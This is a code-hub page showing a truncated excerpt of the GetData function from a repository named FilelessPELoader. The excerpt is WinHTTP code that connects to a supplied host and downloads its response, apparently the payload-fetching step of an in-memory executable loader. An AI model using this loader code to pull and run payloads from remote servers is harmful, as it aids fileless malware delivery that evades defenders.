MCPcopy Create free account
hub / github.com/SaadAhla/FilelessPELoader / GetData

Function GetData

FilelessPELoader/FilelessPELoader.cpp:95–201  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

93
94
95DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {
96
97 DATA data;
98 std::vector<unsigned char> buffer;
99 DWORD dwSize = 0;
100 DWORD dwDownloaded = 0;
101 LPSTR pszOutBuffer = NULL;
102 BOOL bResults = FALSE;
103 HINTERNET hSession = NULL,
104 hConnect = NULL,
105 hRequest = NULL;
106 // Use WinHttpOpen to obtain a session handle.
107 hSession = WinHttpOpen(L"WinHTTP Example/1.0",
108 WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
109 WINHTTP_NO_PROXY_NAME,
110 WINHTTP_NO_PROXY_BYPASS, 0);
111
112
113 // Specify an HTTP server.
114 if (hSession)
115 hConnect = WinHttpConnect(hSession, whost,
116 port, 0);
117 else
118 printf("Failed in WinHttpConnect (%u)\n", GetLastError());
119
120 // Create an HTTP request handle.
121 if (hConnect)
122 hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
123 NULL, WINHTTP_NO_REFERER,
124 WINHTTP_DEFAULT_ACCEPT_TYPES,
125 NULL);
126 else
127 printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
128
129 // Send a request.
130 if (hRequest)
131 bResults = WinHttpSendRequest(hRequest,
132 WINHTTP_NO_ADDITIONAL_HEADERS,
133 0, WINHTTP_NO_REQUEST_DATA, 0,
134 0, 0);
135 else
136 printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
137
138 // End the request.
139 if (bResults)
140 bResults = WinHttpReceiveResponse(hRequest, NULL);
141 else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
142
143 // Keep checking for data until there is nothing left.
144 if (bResults)
145 do
146 {
147 // Check for available data.
148 dwSize = 0;
149 if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
150 printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
151
152 // Allocate space for the buffer.

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected